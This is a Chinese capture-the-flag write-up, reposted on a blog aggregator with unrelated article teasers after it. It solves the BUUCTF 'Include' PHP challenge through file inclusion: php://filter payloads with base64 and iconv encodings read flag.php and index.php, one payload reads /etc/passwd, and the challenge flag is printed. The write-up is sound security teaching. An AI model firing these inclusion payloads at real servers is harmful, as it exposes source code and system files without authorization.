BUUCTF--[ACTF2020 新生赛]Include

目录

1、本题详解

2、延伸拓展


1、本题详解

访问题目链接 

有一个tips的链接,我们点击

请求了file,内容是flag.php的内容:Can you find out the flag?

尝试请求一下index.php

并没有发现什么信息

flag.php也没发现什么

尝试爆破一下它的目录和一些敏感文件名

但是遇到429报错,请求被服务器拒绝,因为发送了太多请求 

想起题目名叫Include,应该考察的是文件包含,因此尝试使用伪协议进行文件读取

首先使用 php://filter(用于读取源码)

这里直接尝试读取当前目录下的flag.php

进行base64编码输出,构造payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

读取成功

进行base64解码

拿到 flag{f88d4b88-a1d0-4245-9c11-69da16affdac}

2、延伸拓展

关于php://filter的用法:

php://filter/read=convert.base64-encode/resource=[文件名]

读取文件源码(针对php文件需要base64编码)

当然有时候会对编码进行过滤和限制,这时我们就需要使用一些其他的编码方式

比如使用utf8和utf16

/?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php

读取出来的内容就不需要解base64了

这里说一下这个iconv函数:完成各种字符集间的转换

比如 iconv("utf8","gbk",$string) :将字符串string 编码由utf8转变成gbk

以及convert.iconv.的用法:

convert.iconv.<input-encoding>.<output-encoding>
或者
convert.iconv.<input-encoding>/<output-encoding>

<input-encoding>和<output-encoding> 就是编码方式

常用的编码方式有:

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*

比如我们的payload还可以是:

?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php

但是这种编码读取php文件似乎不行,不过我们可以读其他的,比如etc下的passwd

?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/etc/passwd

尝试使用 php://input (用于执行PHP代码)进行代码执行:

回显 hacker!

应该是被检测了,我们读取一下index.php的源码看看

/?file=php://filter/convert.iconv.utf8.utf16/resource=index.php

确实过滤掉了很多伪协议,但是 php://filter 是可以使用的,这也是为什么我们能读取到flag.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/159708.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java游戏制作-飞翔的鸟游戏

一.准备工作 首先创建一个新的Java项目命名为“飞翔的鸟”&#xff0c;并在src中创建一个包命名为“com.qiku.bird"&#xff0c;在这个包内分别创建4个类命名为“Bird”、“BirdGame”、“Column”、“Ground”&#xff0c;并向需要的图片素材导入到包内。 二.代码呈现 …

Android线程优化——整体思路与方法

**在日常开发APP的过程中&#xff0c;难免需要使用第二方库和第三方库来帮助开发者快速实现一些功能&#xff0c;提高开发效率。但是&#xff0c;这些库也可能会给线程带来一定的压力&#xff0c;主要表现在以下几个方面&#xff1a; 线程数量增多&#xff1a;一些库可能会在后…

AIGC 是通向 AGI 的那条路吗?

AIGC 是通向 AGI 的那条路吗&#xff1f; 目录 一、背景知识 1.1、AGI&#xff08;人工通用智能&#xff09; 1.1.1、概念定义 1.1.2、通用人工智能特质 1.1.3、通用人工智能需要掌握能力 1.2、AIGC 二、AIGC 是通向 AGI 的那条路吗&#xff1f; 三、当前实现真正的 A…

window下查看端口是否被占用

window下查看端口是否被占用 1、开始---->运行---->cmd&#xff0c;或者是windowR组合键&#xff0c;调出命令窗口&#xff1b; 2、输入命令&#xff1a;netstat -ano&#xff0c;列出所有端口的情况。在列表中我们观察被占用的端口&#xff0c;比如是49157&#xff0c…

10.26~10.27论文,ALP: AdaptiveLossless floating-Point Compression

ALP使用自适应编码&#xff0c;加强版的伪小数去编码双进度小数作为整数&#xff0c;如果它们产生于小数&#xff0c;否则就用矢量化压缩小数的前位。它的高速来源于在标量编码的实现&#xff0c;自动矢量化&#xff0c;使用他们FastLanes的库&#xff0c;一个高效的二阶段压缩…

【云原生】初识 Service Mesh

目录 一、什么是Service Mesh 二、微服务发展历程 2.1 微服务架构演进历史 2.1.1 单体架构 2.1.2 SOA阶段 2.1.3 微服务阶段 2.2 微服务治理中的问题 2.2.1 技术栈庞杂 2.2.2 版本升级碎片化 2.2.3 侵入性强 2.2.4 中间件多&#xff0c;学习成本高 2.2.5 服务治理功…

年报类型页面动画

一. 动画分析 年报类型页面的动画都是第一行字体先触发动画 之后第二行字体再出现动画 以此类推 二. 动画写法 1.动画封装 keyframes identifier {0% {opacity: 0;transform: translateY(40px);}100% {opacity: 1;transform: translateY(0);} } 2. 添加动画 a. 第一行字…

导购APP与淘客查券返利机器人的对比:深刻揭露行业本质

导购APP与淘客查券返利机器人的对比&#xff1a;深刻揭露行业本质 随着互联网的快速发展&#xff0c;购物方式也发生了翻天覆地的变化。导购APP和淘客机器人成为了消费者购物时的两种常见工具。然而&#xff0c;在这两者之间&#xff0c;究竟该如何选择呢&#xff1f;本文将通…

知虾数据软件:电商人必备知虾数据软件,轻松掌握市场趋势

在当今数字化时代&#xff0c;数据已经成为了企业决策的重要依据。对于电商行业来说&#xff0c;数据更是至关重要。如果你想在电商领域中脱颖而出&#xff0c;那么你需要一款强大的数据分析工具来帮助你更好地了解市场、分析竞争对手、优化运营策略。而知虾数据软件就是这样一…

【React-Router】导航传参

1. searchParams 传参 // /page/Login/index.js import { Link, useNavigate } from react-router-dom const Login () > {const navigate useNavigate()return <div>登录页<button onClick{() > navigate(/article?id91&namejk)}>searchParams 传参…

opencv 没办法控制焦距怎么办?来试一下 pyuvc 吧

大部分时候&#xff0c;我们都是通过 opencv 来读取 usb 摄像头的帧图像的。几乎所有的 usb 摄像头是可以进行自动对焦的&#xff0c;除非它是定焦的。当我们想要通过代码来控制摄像头的焦距的时候&#xff0c;会发现&#xff0c;有很多时候 opencv 的 API 没有办法进行有效的控…

SpringBoot中使用注解的方式创建队列和交换机

SpringBoot中使用注解的方式创建队列和交换机 前言 最开始蘑菇博客在进行初始化配置的时候&#xff0c;需要手动的创建交换机&#xff0c;创建队列&#xff0c;然后绑定交换机&#xff0c;这个步骤是非常繁琐的&#xff0c;而且一不小心的话&#xff0c;还可能就出了错误&…

嵌入式设备视频编码比较:H.264、H.265、MPEG-2和MJPG

在嵌入式设备领域&#xff0c;视频编码是一项关键技术&#xff0c;它能够将高清视频压缩为更小的数据量&#xff0c;以实现高效的存储和传输。本文将对四种常见的视频编码标准进行详细比较&#xff0c;包括H.264&#xff08;AVC&#xff09;、H.265&#xff08;HEVC&#xff09…

phpinfo中的重要信息

phpinfo中的重要信息 1.PHP/操作系统版本信息2.Configuration File(ini配置文件位置)3.Registered PHP Streams(支持的流)4.Registered Stream Filters(支持的流过滤器)5.allow_url_fopen&allow_url_include6.disable_functions7.display_errors8.include_path9.open_based…

前端图片转成base64

1、 fetch api请求&#xff0c;重点都是 responseType 要设置为blob&#xff0c;再使用 FileReader 的 readAsDataURL 方法把 blob 转成 base64 getBase64 (imgUrl, callback) {fetch(imgUrl, {responseType: blob}).then(response > {return response.blob();}).then(blob …

【OpenCV实现图像:使用OpenCV进行物体轮廓排序】

文章目录 概要读取图像获取轮廓轮廓排序小结 概要 在图像处理中&#xff0c;经常需要进行与物体轮廓相关的操作&#xff0c;比如计算目标轮廓的周长、面积等。为了获取目标轮廓的信息&#xff0c;通常使用OpenCV的findContours函数。然而&#xff0c;一旦获得轮廓信息后&#…

Java8新特性 ----- Lambda表达式和方法引用/构造器引用详解

前言 在讲一下内容之前,我们需要引入函数式接口的概念 什么是函数式接口呢? 函数式接口&#xff1a;有且仅有一个抽象方法的接口 java中函数式编程的体现就是Lambda表达式,你可以认为函数式接口就是适用于Lambda表达式的接口. 也可以加上注解来在编译层次上限制函数式接口 Fun…

视频云存储EasyCVR平台国标接入获取通道设备未回复是什么原因?该如何解决?

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安…

vue 获取元素的大小信息

在模板中为元素添加一个ref属性&#xff1a; <template> <div ref"myElement">Hello, World!</div> </template> 然后&#xff0c;在组件的setup函数中使用ref获取元素&#xff0c;并获取元素的信息&#xff1a; vue2获取方式&#xf…